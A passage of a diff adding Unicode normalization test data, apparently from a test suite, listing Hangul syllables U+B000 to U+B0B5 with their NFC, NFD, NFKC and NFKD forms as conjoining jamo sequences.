+{ source: [0xB000], NFC: [0xB000], NFD: [0x1101, 0x1170, 0x11B7], NFKC: [0xB000], NFKD: [0x1101, 0x1170, 0x11B7] },
+{ source: [0xB001], NFC: [0xB001], NFD: [0x1101, 0x1170, 0x11B8], NFKC: [0xB001], NFKD: [0x1101, 0x1170, 0x11B8] },
+{ source: [0xB002], NFC: [0xB002], NFD: [0x1101, 0x1170, 0x11B9], NFKC: [0xB002], NFKD: [0x1101, 0x1170, 0x11B9] },
+{ source: [0xB003], NFC: [0xB003], NFD: [0x1101, 0x1170, 0x11BA], NFKC: [0xB003], NFKD: [0x1101, 0x1170, 0x11BA] },
+{ source: [0xB004], NFC: [0xB004], NFD: [0x1101, 0x1170, 0x11BB], NFKC: [0xB004], NFKD: [0x1101, 0x1170, 0x11BB] },
+{ source: [0xB005], NFC: [0xB005], NFD: [0x1101, 0x1170, 0x11BC], NFKC: [0xB005], NFKD: [0x1101, 0x1170, 0x11BC] },
+{ source: [0xB006], NFC: [0xB006], NFD: [0x1101, 0x1170, 0x11BD], NFKC: [0xB006], NFKD: [0x1101, 0x1170, 0x11BD] },
+{ source: [0xB007], NFC: [0xB007], NFD: [0x1101, 0x1170, 0x11BE], NFKC: [0xB007], NFKD: [0x1101, 0x1170, 0x11BE] },
+{ source: [0xB008], NFC: [0xB008], NFD: [0x1101, 0x1170, 0x11BF], NFKC: [0xB008], NFKD: [0x1101, 0x1170, 0x11BF] },
+{ source: [0xB009], NFC: [0xB009], NFD: [0x1101, 0x1170, 0x11C0], NFKC: [0xB009], NFKD: [0x1101, 0x1170, 0x11C0] },
+{ source: [0xB00A], NFC: [0xB00A], NFD: [0x1101, 0x1170, 0x11C1], NFKC: [0xB00A], NFKD: [0x1101, 0x1170, 0x11C1] },
+{ source: [0xB00B], NFC: [0xB00B], NFD: [0x1101, 0x1170, 0x11C2], NFKC: [0xB00B], NFKD: [0x1101, 0x1170, 0x11C2] },
+{ source: [0xB00C], NFC: [0xB00C], NFD: [0x1101, 0x1171], NFKC: [0xB00C], NFKD: [0x1101, 0x1171] },
+{ source: [0xB00D], NFC: [0xB00D], NFD: [0x1101, 0x1171, 0x11A8], NFKC: [0xB00D], NFKD: [0x1101, 0x1171, 0x11A8] },
+{ source: [0xB00E], NFC: [0xB00E], NFD: [0x1101, 0x1171, 0x11A9], NFKC: [0xB00E], NFKD: [0x1101, 0x1171, 0x11A9] },
+{ source: [0xB00F], NFC: [0xB00F], NFD: [0x1101, 0x1171, 0x11AA], NFKC: [0xB00F], NFKD: [0x1101, 0x1171, 0x11AA] },
+{ source: [0xB010], NFC: [0xB010], NFD: [0x1101, 0x1171, 0x11AB], NFKC: [0xB010], NFKD: [0x1101, 0x1171, 0x11AB] },
+{ source: [0xB011], NFC: [0xB011], NFD: [0x1101, 0x1171, 0x11AC], NFKC: [0xB011], NFKD: [0x1101, 0x1171, 0x11AC] },
+{ source: [0xB012], NFC: [0xB012], NFD: [0x1101, 0x1171, 0x11AD], NFKC: [0xB012], NFKD: [0x1101, 0x1171, 0x11AD] },
+{ source: [0xB013], NFC: [0xB013], NFD: [0x1101, 0x1171, 0x11AE], NFKC: [0xB013], NFKD: [0x1101, 0x1171, 0x11AE] },
+{ source: [0xB014], NFC: [0xB014], NFD: [0x1101, 0x1171, 0x11AF], NFKC: [0xB014], NFKD: [0x1101, 0x1171, 0x11AF] },
+{ source: [0xB015], NFC: [0xB015], NFD: [0x1101, 0x1171, 0x11B0], NFKC: [0xB015], NFKD: [0x1101, 0x1171, 0x11B0] },
+{ source: [0xB016], NFC: [0xB016], NFD: [0x1101, 0x1171, 0x11B1], NFKC: [0xB016], NFKD: [0x1101, 0x1171, 0x11B1] },
+{ source: [0xB017], NFC: [0xB017], NFD: [0x1101, 0x1171, 0x11B2], NFKC: [0xB017], NFKD: [0x1101, 0x1171, 0x11B2] },
+{ source: [0xB018], NFC: [0xB018], NFD: [0x1101, 0x1171, 0x11B3], NFKC: [0xB018], NFKD: [0x1101, 0x1171, 0x11B3] },
+{ source: [0xB019], NFC: [0xB019], NFD: [0x1101, 0x1171, 0x11B4], NFKC: [0xB019], NFKD: [0x1101, 0x1171, 0x11B4] },
+{ source: [0xB01A], NFC: [0xB01A], NFD: [0x1101, 0x1171, 0x11B5], NFKC: [0xB01A], NFKD: [0x1101, 0x1171, 0x11B5] },
+{ source: [0xB01B], NFC: [0xB01B], NFD: [0x1101, 0x1171, 0x11B6], NFKC: [0xB01B], NFKD: [0x1101, 0x1171, 0x11B6] },
+{ source: [0xB01C], NFC: [0xB01C], NFD: [0x1101, 0x1171, 0x11B7], NFKC: [0xB01C], NFKD: [0x1101, 0x1171, 0x11B7] },
+{ source: [0xB01D], NFC: [0xB01D], NFD: [0x1101, 0x1171, 0x11B8], NFKC: [0xB01D], NFKD: [0x1101, 0x1171, 0x11B8] },
+{ source: [0xB01E], NFC: [0xB01E], NFD: [0x1101, 0x1171, 0x11B9], NFKC: [0xB01E], NFKD: [0x1101, 0x1171, 0x11B9] },
+{ source: [0xB01F], NFC: [0xB01F], NFD: [0x1101, 0x1171, 0x11BA], NFKC: [0xB01F], NFKD: [0x1101, 0x1171, 0x11BA] },
+{ source: [0xB020], NFC: [0xB020], NFD: [0x1101, 0x1171, 0x11BB], NFKC: [0xB020], NFKD: [0x1101, 0x1171, 0x11BB] },
+{ source: [0xB021], NFC: [0xB021], NFD: [0x1101, 0x1171, 0x11BC], NFKC: [0xB021], NFKD: [0x1101, 0x1171, 0x11BC] },
+{ source: [0xB022], NFC: [0xB022], NFD: [0x1101, 0x1171, 0x11BD], NFKC: [0xB022], NFKD: [0x1101, 0x1171, 0x11BD] },
+{ source: [0xB023], NFC: [0xB023], NFD: [0x1101, 0x1171, 0x11BE], NFKC: [0xB023], NFKD: [0x1101, 0x1171, 0x11BE] },
+{ source: [0xB024], NFC: [0xB024], NFD: [0x1101, 0x1171, 0x11BF], NFKC: [0xB024], NFKD: [0x1101, 0x1171, 0x11BF] },
+{ source: [0xB025], NFC: [0xB025], NFD: [0x1101, 0x1171, 0x11C0], NFKC: [0xB025], NFKD: [0x1101, 0x1171, 0x11C0] },
+{ source: [0xB026], NFC: [0xB026], NFD: [0x1101, 0x1171, 0x11C1], NFKC: [0xB026], NFKD: [0x1101, 0x1171, 0x11C1] },
+{ source: [0xB027], NFC: [0xB027], NFD: [0x1101, 0x1171, 0x11C2], NFKC: [0xB027], NFKD: [0x1101, 0x1171, 0x11C2] },
+{ source: [0xB028], NFC: [0xB028], NFD: [0x1101, 0x1172], NFKC: [0xB028], NFKD: [0x1101, 0x1172] },
+{ source: [0xB029], NFC: [0xB029], NFD: [0x1101, 0x1172, 0x11A8], NFKC: [0xB029], NFKD: [0x1101, 0x1172, 0x11A8] },
+{ source: [0xB02A], NFC: [0xB02A], NFD: [0x1101, 0x1172, 0x11A9], NFKC: [0xB02A], NFKD: [0x1101, 0x1172, 0x11A9] },
+{ source: [0xB02B], NFC: [0xB02B], NFD: [0x1101, 0x1172, 0x11AA], NFKC: [0xB02B], NFKD: [0x1101, 0x1172, 0x11AA] },
+{ source: [0xB02C], NFC: [0xB02C], NFD: [0x1101, 0x1172, 0x11AB], NFKC: [0xB02C], NFKD: [0x1101, 0x1172, 0x11AB] },
+{ source: [0xB02D], NFC: [0xB02D], NFD: [0x1101, 0x1172, 0x11AC], NFKC: [0xB02D], NFKD: [0x1101, 0x1172, 0x11AC] },
+{ source: [0xB02E], NFC: [0xB02E], NFD: [0x1101, 0x1172, 0x11AD], NFKC: [0xB02E], NFKD: [0x1101, 0x1172, 0x11AD] },
+{ source: [0xB02F], NFC: [0xB02F], NFD: [0x1101, 0x1172, 0x11AE], NFKC: [0xB02F], NFKD: [0x1101, 0x1172, 0x11AE] },
+{ source: [0xB030], NFC: [0xB030], NFD: [0x1101, 0x1172, 0x11AF], NFKC: [0xB030], NFKD: [0x1101, 0x1172, 0x11AF] },
+{ source: [0xB031], NFC: [0xB031], NFD: [0x1101, 0x1172, 0x11B0], NFKC: [0xB031], NFKD: [0x1101, 0x1172, 0x11B0] },
+{ source: [0xB032], NFC: [0xB032], NFD: [0x1101, 0x1172, 0x11B1], NFKC: [0xB032], NFKD: [0x1101, 0x1172, 0x11B1] },
+{ source: [0xB033], NFC: [0xB033], NFD: [0x1101, 0x1172, 0x11B2], NFKC: [0xB033], NFKD: [0x1101, 0x1172, 0x11B2] },
+{ source: [0xB034], NFC: [0xB034], NFD: [0x1101, 0x1172, 0x11B3], NFKC: [0xB034], NFKD: [0x1101, 0x1172, 0x11B3] },
+{ source: [0xB035], NFC: [0xB035], NFD: [0x1101, 0x1172, 0x11B4], NFKC: [0xB035], NFKD: [0x1101, 0x1172, 0x11B4] },
+{ source: [0xB036], NFC: [0xB036], NFD: [0x1101, 0x1172, 0x11B5], NFKC: [0xB036], NFKD: [0x1101, 0x1172, 0x11B5] },
+{ source: [0xB037], NFC: [0xB037], NFD: [0x1101, 0x1172, 0x11B6], NFKC: [0xB037], NFKD: [0x1101, 0x1172, 0x11B6] },
+{ source: [0xB038], NFC: [0xB038], NFD: [0x1101, 0x1172, 0x11B7], NFKC: [0xB038], NFKD: [0x1101, 0x1172, 0x11B7] },
+{ source: [0xB039], NFC: [0xB039], NFD: [0x1101, 0x1172, 0x11B8], NFKC: [0xB039], NFKD: [0x1101, 0x1172, 0x11B8] },
+{ source: [0xB03A], NFC: [0xB03A], NFD: [0x1101, 0x1172, 0x11B9], NFKC: [0xB03A], NFKD: [0x1101, 0x1172, 0x11B9] },
+{ source: [0xB03B], NFC: [0xB03B], NFD: [0x1101, 0x1172, 0x11BA], NFKC: [0xB03B], NFKD: [0x1101, 0x1172, 0x11BA] },
+{ source: [0xB03C], NFC: [0xB03C], NFD: [0x1101, 0x1172, 0x11BB], NFKC: [0xB03C], NFKD: [0x1101, 0x1172, 0x11BB] },
+{ source: [0xB03D], NFC: [0xB03D], NFD: [0x1101, 0x1172, 0x11BC], NFKC: [0xB03D], NFKD: [0x1101, 0x1172, 0x11BC] },
+{ source: [0xB03E], NFC: [0xB03E], NFD: [0x1101, 0x1172, 0x11BD], NFKC: [0xB03E], NFKD: [0x1101, 0x1172, 0x11BD] },
+{ source: [0xB03F], NFC: [0xB03F], NFD: [0x1101, 0x1172, 0x11BE], NFKC: [0xB03F], NFKD: [0x1101, 0x1172, 0x11BE] },
+{ source: [0xB040], NFC: [0xB040], NFD: [0x1101, 0x1172, 0x11BF], NFKC: [0xB040], NFKD: [0x1101, 0x1172, 0x11BF] },
+{ source: [0xB041], NFC: [0xB041], NFD: [0x1101, 0x1172, 0x11C0], NFKC: [0xB041], NFKD: [0x1101, 0x1172, 0x11C0] },
+{ source: [0xB042], NFC: [0xB042], NFD: [0x1101, 0x1172, 0x11C1], NFKC: [0xB042], NFKD: [0x1101, 0x1172, 0x11C1] },
+{ source: [0xB043], NFC: [0xB043], NFD: [0x1101, 0x1172, 0x11C2], NFKC: [0xB043], NFKD: [0x1101, 0x1172, 0x11C2] },
+{ source: [0xB044], NFC: [0xB044], NFD: [0x1101, 0x1173], NFKC: [0xB044], NFKD: [0x1101, 0x1173] },
+{ source: [0xB045], NFC: [0xB045], NFD: [0x1101, 0x1173, 0x11A8], NFKC: [0xB045], NFKD: [0x1101, 0x1173, 0x11A8] },
+{ source: [0xB046], NFC: [0xB046], NFD: [0x1101, 0x1173, 0x11A9], NFKC: [0xB046], NFKD: [0x1101, 0x1173, 0x11A9] },
+{ source: [0xB047], NFC: [0xB047], NFD: [0x1101, 0x1173, 0x11AA], NFKC: [0xB047], NFKD: [0x1101, 0x1173, 0x11AA] },
+{ source: [0xB048], NFC: [0xB048], NFD: [0x1101, 0x1173, 0x11AB], NFKC: [0xB048], NFKD: [0x1101, 0x1173, 0x11AB] },
+{ source: [0xB049], NFC: [0xB049], NFD: [0x1101, 0x1173, 0x11AC], NFKC: [0xB049], NFKD: [0x1101, 0x1173, 0x11AC] },
+{ source: [0xB04A], NFC: [0xB04A], NFD: [0x1101, 0x1173, 0x11AD], NFKC: [0xB04A], NFKD: [0x1101, 0x1173, 0x11AD] },
+{ source: [0xB04B], NFC: [0xB04B], NFD: [0x1101, 0x1173, 0x11AE], NFKC: [0xB04B], NFKD: [0x1101, 0x1173, 0x11AE] },
+{ source: [0xB04C], NFC: [0xB04C], NFD: [0x1101, 0x1173, 0x11AF], NFKC: [0xB04C], NFKD: [0x1101, 0x1173, 0x11AF] },
+{ source: [0xB04D], NFC: [0xB04D], NFD: [0x1101, 0x1173, 0x11B0], NFKC: [0xB04D], NFKD: [0x1101, 0x1173, 0x11B0] },
+{ source: [0xB04E], NFC: [0xB04E], NFD: [0x1101, 0x1173, 0x11B1], NFKC: [0xB04E], NFKD: [0x1101, 0x1173, 0x11B1] },
+{ source: [0xB04F], NFC: [0xB04F], NFD: [0x1101, 0x1173, 0x11B2], NFKC: [0xB04F], NFKD: [0x1101, 0x1173, 0x11B2] },
+{ source: [0xB050], NFC: [0xB050], NFD: [0x1101, 0x1173, 0x11B3], NFKC: [0xB050], NFKD: [0x1101, 0x1173, 0x11B3] },
+{ source: [0xB051], NFC: [0xB051], NFD: [0x1101, 0x1173, 0x11B4], NFKC: [0xB051], NFKD: [0x1101, 0x1173, 0x11B4] },
+{ source: [0xB052], NFC: [0xB052], NFD: [0x1101, 0x1173, 0x11B5], NFKC: [0xB052], NFKD: [0x1101, 0x1173, 0x11B5] },
+{ source: [0xB053], NFC: [0xB053], NFD: [0x1101, 0x1173, 0x11B6], NFKC: [0xB053], NFKD: [0x1101, 0x1173, 0x11B6] },
+{ source: [0xB054], NFC: [0xB054], NFD: [0x1101, 0x1173, 0x11B7], NFKC: [0xB054], NFKD: [0x1101, 0x1173, 0x11B7] },
+{ source: [0xB055], NFC: [0xB055], NFD: [0x1101, 0x1173, 0x11B8], NFKC: [0xB055], NFKD: [0x1101, 0x1173, 0x11B8] },
+{ source: [0xB056], NFC: [0xB056], NFD: [0x1101, 0x1173, 0x11B9], NFKC: [0xB056], NFKD: [0x1101, 0x1173, 0x11B9] },
+{ source: [0xB057], NFC: [0xB057], NFD: [0x1101, 0x1173, 0x11BA], NFKC: [0xB057], NFKD: [0x1101, 0x1173, 0x11BA] },
+{ source: [0xB058], NFC: [0xB058], NFD: [0x1101, 0x1173, 0x11BB], NFKC: [0xB058], NFKD: [0x1101, 0x1173, 0x11BB] },
+{ source: [0xB059], NFC: [0xB059], NFD: [0x1101, 0x1173, 0x11BC], NFKC: [0xB059], NFKD: [0x1101, 0x1173, 0x11BC] },
+{ source: [0xB05A], NFC: [0xB05A], NFD: [0x1101, 0x1173, 0x11BD], NFKC: [0xB05A], NFKD: [0x1101, 0x1173, 0x11BD] },
+{ source: [0xB05B], NFC: [0xB05B], NFD: [0x1101, 0x1173, 0x11BE], NFKC: [0xB05B], NFKD: [0x1101, 0x1173, 0x11BE] },
+{ source: [0xB05C], NFC: [0xB05C], NFD: [0x1101, 0x1173, 0x11BF], NFKC: [0xB05C], NFKD: [0x1101, 0x1173, 0x11BF] },
+{ source: [0xB05D], NFC: [0xB05D], NFD: [0x1101, 0x1173, 0x11C0], NFKC: [0xB05D], NFKD: [0x1101, 0x1173, 0x11C0] },
+{ source: [0xB05E], NFC: [0xB05E], NFD: [0x1101, 0x1173, 0x11C1], NFKC: [0xB05E], NFKD: [0x1101, 0x1173, 0x11C1] },
+{ source: [0xB05F], NFC: [0xB05F], NFD: [0x1101, 0x1173, 0x11C2], NFKC: [0xB05F], NFKD: [0x1101, 0x1173, 0x11C2] },
+{ source: [0xB060], NFC: [0xB060], NFD: [0x1101, 0x1174], NFKC: [0xB060], NFKD: [0x1101, 0x1174] },
+{ source: [0xB061], NFC: [0xB061], NFD: [0x1101, 0x1174, 0x11A8], NFKC: [0xB061], NFKD: [0x1101, 0x1174, 0x11A8] },
+{ source: [0xB062], NFC: [0xB062], NFD: [0x1101, 0x1174, 0x11A9], NFKC: [0xB062], NFKD: [0x1101, 0x1174, 0x11A9] },
+{ source: [0xB063], NFC: [0xB063], NFD: [0x1101, 0x1174, 0x11AA], NFKC: [0xB063], NFKD: [0x1101, 0x1174, 0x11AA] },
+{ source: [0xB064], NFC: [0xB064], NFD: [0x1101, 0x1174, 0x11AB], NFKC: [0xB064], NFKD: [0x1101, 0x1174, 0x11AB] },
+{ source: [0xB065], NFC: [0xB065], NFD: [0x1101, 0x1174, 0x11AC], NFKC: [0xB065], NFKD: [0x1101, 0x1174, 0x11AC] },
+{ source: [0xB066], NFC: [0xB066], NFD: [0x1101, 0x1174, 0x11AD], NFKC: [0xB066], NFKD: [0x1101, 0x1174, 0x11AD] },
+{ source: [0xB067], NFC: [0xB067], NFD: [0x1101, 0x1174, 0x11AE], NFKC: [0xB067], NFKD: [0x1101, 0x1174, 0x11AE] },
+{ source: [0xB068], NFC: [0xB068], NFD: [0x1101, 0x1174, 0x11AF], NFKC: [0xB068], NFKD: [0x1101, 0x1174, 0x11AF] },
+{ source: [0xB069], NFC: [0xB069], NFD: [0x1101, 0x1174, 0x11B0], NFKC: [0xB069], NFKD: [0x1101, 0x1174, 0x11B0] },
+{ source: [0xB06A], NFC: [0xB06A], NFD: [0x1101, 0x1174, 0x11B1], NFKC: [0xB06A], NFKD: [0x1101, 0x1174, 0x11B1] },
+{ source: [0xB06B], NFC: [0xB06B], NFD: [0x1101, 0x1174, 0x11B2], NFKC: [0xB06B], NFKD: [0x1101, 0x1174, 0x11B2] },
+{ source: [0xB06C], NFC: [0xB06C], NFD: [0x1101, 0x1174, 0x11B3], NFKC: [0xB06C], NFKD: [0x1101, 0x1174, 0x11B3] },
+{ source: [0xB06D], NFC: [0xB06D], NFD: [0x1101, 0x1174, 0x11B4], NFKC: [0xB06D], NFKD: [0x1101, 0x1174, 0x11B4] },
+{ source: [0xB06E], NFC: [0xB06E], NFD: [0x1101, 0x1174, 0x11B5], NFKC: [0xB06E], NFKD: [0x1101, 0x1174, 0x11B5] },
+{ source: [0xB06F], NFC: [0xB06F], NFD: [0x1101, 0x1174, 0x11B6], NFKC: [0xB06F], NFKD: [0x1101, 0x1174, 0x11B6] },
+{ source: [0xB070], NFC: [0xB070], NFD: [0x1101, 0x1174, 0x11B7], NFKC: [0xB070], NFKD: [0x1101, 0x1174, 0x11B7] },
+{ source: [0xB071], NFC: [0xB071], NFD: [0x1101, 0x1174, 0x11B8], NFKC: [0xB071], NFKD: [0x1101, 0x1174, 0x11B8] },
+{ source: [0xB072], NFC: [0xB072], NFD: [0x1101, 0x1174, 0x11B9], NFKC: [0xB072], NFKD: [0x1101, 0x1174, 0x11B9] },
+{ source: [0xB073], NFC: [0xB073], NFD: [0x1101, 0x1174, 0x11BA], NFKC: [0xB073], NFKD: [0x1101, 0x1174, 0x11BA] },
+{ source: [0xB074], NFC: [0xB074], NFD: [0x1101, 0x1174, 0x11BB], NFKC: [0xB074], NFKD: [0x1101, 0x1174, 0x11BB] },
+{ source: [0xB075], NFC: [0xB075], NFD: [0x1101, 0x1174, 0x11BC], NFKC: [0xB075], NFKD: [0x1101, 0x1174, 0x11BC] },
+{ source: [0xB076], NFC: [0xB076], NFD: [0x1101, 0x1174, 0x11BD], NFKC: [0xB076], NFKD: [0x1101, 0x1174, 0x11BD] },
+{ source: [0xB077], NFC: [0xB077], NFD: [0x1101, 0x1174, 0x11BE], NFKC: [0xB077], NFKD: [0x1101, 0x1174, 0x11BE] },
+{ source: [0xB078], NFC: [0xB078], NFD: [0x1101, 0x1174, 0x11BF], NFKC: [0xB078], NFKD: [0x1101, 0x1174, 0x11BF] },
+{ source: [0xB079], NFC: [0xB079], NFD: [0x1101, 0x1174, 0x11C0], NFKC: [0xB079], NFKD: [0x1101, 0x1174, 0x11C0] },
+{ source: [0xB07A], NFC: [0xB07A], NFD: [0x1101, 0x1174, 0x11C1], NFKC: [0xB07A], NFKD: [0x1101, 0x1174, 0x11C1] },
+{ source: [0xB07B], NFC: [0xB07B], NFD: [0x1101, 0x1174, 0x11C2], NFKC: [0xB07B], NFKD: [0x1101, 0x1174, 0x11C2] },
+{ source: [0xB07C], NFC: [0xB07C], NFD: [0x1101, 0x1175], NFKC: [0xB07C], NFKD: [0x1101, 0x1175] },
+{ source: [0xB07D], NFC: [0xB07D], NFD: [0x1101, 0x1175, 0x11A8], NFKC: [0xB07D], NFKD: [0x1101, 0x1175, 0x11A8] },
+{ source: [0xB07E], NFC: [0xB07E], NFD: [0x1101, 0x1175, 0x11A9], NFKC: [0xB07E], NFKD: [0x1101, 0x1175, 0x11A9] },
+{ source: [0xB07F], NFC: [0xB07F], NFD: [0x1101, 0x1175, 0x11AA], NFKC: [0xB07F], NFKD: [0x1101, 0x1175, 0x11AA] },
+{ source: [0xB080], NFC: [0xB080], NFD: [0x1101, 0x1175, 0x11AB], NFKC: [0xB080], NFKD: [0x1101, 0x1175, 0x11AB] },
+{ source: [0xB081], NFC: [0xB081], NFD: [0x1101, 0x1175, 0x11AC], NFKC: [0xB081], NFKD: [0x1101, 0x1175, 0x11AC] },
+{ source: [0xB082], NFC: [0xB082], NFD: [0x1101, 0x1175, 0x11AD], NFKC: [0xB082], NFKD: [0x1101, 0x1175, 0x11AD] },
+{ source: [0xB083], NFC: [0xB083], NFD: [0x1101, 0x1175, 0x11AE], NFKC: [0xB083], NFKD: [0x1101, 0x1175, 0x11AE] },
+{ source: [0xB084], NFC: [0xB084], NFD: [0x1101, 0x1175, 0x11AF], NFKC: [0xB084], NFKD: [0x1101, 0x1175, 0x11AF] },
+{ source: [0xB085], NFC: [0xB085], NFD: [0x1101, 0x1175, 0x11B0], NFKC: [0xB085], NFKD: [0x1101, 0x1175, 0x11B0] },
+{ source: [0xB086], NFC: [0xB086], NFD: [0x1101, 0x1175, 0x11B1], NFKC: [0xB086], NFKD: [0x1101, 0x1175, 0x11B1] },
+{ source: [0xB087], NFC: [0xB087], NFD: [0x1101, 0x1175, 0x11B2], NFKC: [0xB087], NFKD: [0x1101, 0x1175, 0x11B2] },
+{ source: [0xB088], NFC: [0xB088], NFD: [0x1101, 0x1175, 0x11B3], NFKC: [0xB088], NFKD: [0x1101, 0x1175, 0x11B3] },
+{ source: [0xB089], NFC: [0xB089], NFD: [0x1101, 0x1175, 0x11B4], NFKC: [0xB089], NFKD: [0x1101, 0x1175, 0x11B4] },
+{ source: [0xB08A], NFC: [0xB08A], NFD: [0x1101, 0x1175, 0x11B5], NFKC: [0xB08A], NFKD: [0x1101, 0x1175, 0x11B5] },
+{ source: [0xB08B], NFC: [0xB08B], NFD: [0x1101, 0x1175, 0x11B6], NFKC: [0xB08B], NFKD: [0x1101, 0x1175, 0x11B6] },
+{ source: [0xB08C], NFC: [0xB08C], NFD: [0x1101, 0x1175, 0x11B7], NFKC: [0xB08C], NFKD: [0x1101, 0x1175, 0x11B7] },
+{ source: [0xB08D], NFC: [0xB08D], NFD: [0x1101, 0x1175, 0x11B8], NFKC: [0xB08D], NFKD: [0x1101, 0x1175, 0x11B8] },
+{ source: [0xB08E], NFC: [0xB08E], NFD: [0x1101, 0x1175, 0x11B9], NFKC: [0xB08E], NFKD: [0x1101, 0x1175, 0x11B9] },
+{ source: [0xB08F], NFC: [0xB08F], NFD: [0x1101, 0x1175, 0x11BA], NFKC: [0xB08F], NFKD: [0x1101, 0x1175, 0x11BA] },
+{ source: [0xB090], NFC: [0xB090], NFD: [0x1101, 0x1175, 0x11BB], NFKC: [0xB090], NFKD: [0x1101, 0x1175, 0x11BB] },
+{ source: [0xB091], NFC: [0xB091], NFD: [0x1101, 0x1175, 0x11BC], NFKC: [0xB091], NFKD: [0x1101, 0x1175, 0x11BC] },
+{ source: [0xB092], NFC: [0xB092], NFD: [0x1101, 0x1175, 0x11BD], NFKC: [0xB092], NFKD: [0x1101, 0x1175, 0x11BD] },
+{ source: [0xB093], NFC: [0xB093], NFD: [0x1101, 0x1175, 0x11BE], NFKC: [0xB093], NFKD: [0x1101, 0x1175, 0x11BE] },
+{ source: [0xB094], NFC: [0xB094], NFD: [0x1101, 0x1175, 0x11BF], NFKC: [0xB094], NFKD: [0x1101, 0x1175, 0x11BF] },
+{ source: [0xB095], NFC: [0xB095], NFD: [0x1101, 0x1175, 0x11C0], NFKC: [0xB095], NFKD: [0x1101, 0x1175, 0x11C0] },
+{ source: [0xB096], NFC: [0xB096], NFD: [0x1101, 0x1175, 0x11C1], NFKC: [0xB096], NFKD: [0x1101, 0x1175, 0x11C1] },
+{ source: [0xB097], NFC: [0xB097], NFD: [0x1101, 0x1175, 0x11C2], NFKC: [0xB097], NFKD: [0x1101, 0x1175, 0x11C2] },
+{ source: [0xB098], NFC: [0xB098], NFD: [0x1102, 0x1161], NFKC: [0xB098], NFKD: [0x1102, 0x1161] },
+{ source: [0xB099], NFC: [0xB099], NFD: [0x1102, 0x1161, 0x11A8], NFKC: [0xB099], NFKD: [0x1102, 0x1161, 0x11A8] },
+{ source: [0xB09A], NFC: [0xB09A], NFD: [0x1102, 0x1161, 0x11A9], NFKC: [0xB09A], NFKD: [0x1102, 0x1161, 0x11A9] },
+{ source: [0xB09B], NFC: [0xB09B], NFD: [0x1102, 0x1161, 0x11AA], NFKC: [0xB09B], NFKD: [0x1102, 0x1161, 0x11AA] },
+{ source: [0xB09C], NFC: [0xB09C], NFD: [0x1102, 0x1161, 0x11AB], NFKC: [0xB09C], NFKD: [0x1102, 0x1161, 0x11AB] },
+{ source: [0xB09D], NFC: [0xB09D], NFD: [0x1102, 0x1161, 0x11AC], NFKC: [0xB09D], NFKD: [0x1102, 0x1161, 0x11AC] },
+{ source: [0xB09E], NFC: [0xB09E], NFD: [0x1102, 0x1161, 0x11AD], NFKC: [0xB09E], NFKD: [0x1102, 0x1161, 0x11AD] },
+{ source: [0xB09F], NFC: [0xB09F], NFD: [0x1102, 0x1161, 0x11AE], NFKC: [0xB09F], NFKD: [0x1102, 0x1161, 0x11AE] },
+{ source: [0xB0A0], NFC: [0xB0A0], NFD: [0x1102, 0x1161, 0x11AF], NFKC: [0xB0A0], NFKD: [0x1102, 0x1161, 0x11AF] },
+{ source: [0xB0A1], NFC: [0xB0A1], NFD: [0x1102, 0x1161, 0x11B0], NFKC: [0xB0A1], NFKD: [0x1102, 0x1161, 0x11B0] },
+{ source: [0xB0A2], NFC: [0xB0A2], NFD: [0x1102, 0x1161, 0x11B1], NFKC: [0xB0A2], NFKD: [0x1102, 0x1161, 0x11B1] },
+{ source: [0xB0A3], NFC: [0xB0A3], NFD: [0x1102, 0x1161, 0x11B2], NFKC: [0xB0A3], NFKD: [0x1102, 0x1161, 0x11B2] },
+{ source: [0xB0A4], NFC: [0xB0A4], NFD: [0x1102, 0x1161, 0x11B3], NFKC: [0xB0A4], NFKD: [0x1102, 0x1161, 0x11B3] },
+{ source: [0xB0A5], NFC: [0xB0A5], NFD: [0x1102, 0x1161, 0x11B4], NFKC: [0xB0A5], NFKD: [0x1102, 0x1161, 0x11B4] },
+{ source: [0xB0A6], NFC: [0xB0A6], NFD: [0x1102, 0x1161, 0x11B5], NFKC: [0xB0A6], NFKD: [0x1102, 0x1161, 0x11B5] },
+{ source: [0xB0A7], NFC: [0xB0A7], NFD: [0x1102, 0x1161, 0x11B6], NFKC: [0xB0A7], NFKD: [0x1102, 0x1161, 0x11B6] },
+{ source: [0xB0A8], NFC: [0xB0A8], NFD: [0x1102, 0x1161, 0x11B7], NFKC: [0xB0A8], NFKD: [0x1102, 0x1161, 0x11B7] },
+{ source: [0xB0A9], NFC: [0xB0A9], NFD: [0x1102, 0x1161, 0x11B8], NFKC: [0xB0A9], NFKD: [0x1102, 0x1161, 0x11B8] },
+{ source: [0xB0AA], NFC: [0xB0AA], NFD: [0x1102, 0x1161, 0x11B9], NFKC: [0xB0AA], NFKD: [0x1102, 0x1161, 0x11B9] },
+{ source: [0xB0AB], NFC: [0xB0AB], NFD: [0x1102, 0x1161, 0x11BA], NFKC: [0xB0AB], NFKD: [0x1102, 0x1161, 0x11BA] },
+{ source: [0xB0AC], NFC: [0xB0AC], NFD: [0x1102, 0x1161, 0x11BB], NFKC: [0xB0AC], NFKD: [0x1102, 0x1161, 0x11BB] },
+{ source: [0xB0AD], NFC: [0xB0AD], NFD: [0x1102, 0x1161, 0x11BC], NFKC: [0xB0AD], NFKD: [0x1102, 0x1161, 0x11BC] },
+{ source: [0xB0AE], NFC: [0xB0AE], NFD: [0x1102, 0x1161, 0x11BD], NFKC: [0xB0AE], NFKD: [0x1102, 0x1161, 0x11BD] },
+{ source: [0xB0AF], NFC: [0xB0AF], NFD: [0x1102, 0x1161, 0x11BE], NFKC: [0xB0AF], NFKD: [0x1102, 0x1161, 0x11BE] },
+{ source: [0xB0B0], NFC: [0xB0B0], NFD: [0x1102, 0x1161, 0x11BF], NFKC: [0xB0B0], NFKD: [0x1102, 0x1161, 0x11BF] },
+{ source: [0xB0B1], NFC: [0xB0B1], NFD: [0x1102, 0x1161, 0x11C0], NFKC: [0xB0B1], NFKD: [0x1102, 0x1161, 0x11C0] },
+{ source: [0xB0B2], NFC: [0xB0B2], NFD: [0x1102, 0x1161, 0x11C1], NFKC: [0xB0B2], NFKD: [0x1102, 0x1161, 0x11C1] },
+{ source: [0xB0B3], NFC: [0xB0B3], NFD: [0x1102, 0x1161, 0x11C2], NFKC: [0xB0B3], NFKD: [0x1102, 0x1161, 0x11C2] },
+{ source: [0xB0B4], NFC: [0xB0B4], NFD: [0x1102, 0x1162], NFKC: [0xB0B4], NFKD: [0x1102, 0x1162] },
+{ source: [0xB0B5], NFC: [0xB0B5], NFD: [0x1102, 0x1162, 0x11A8], NFKC: [0xB0B5], NFKD: [0x1102, 0x1162, 0x11A8] },
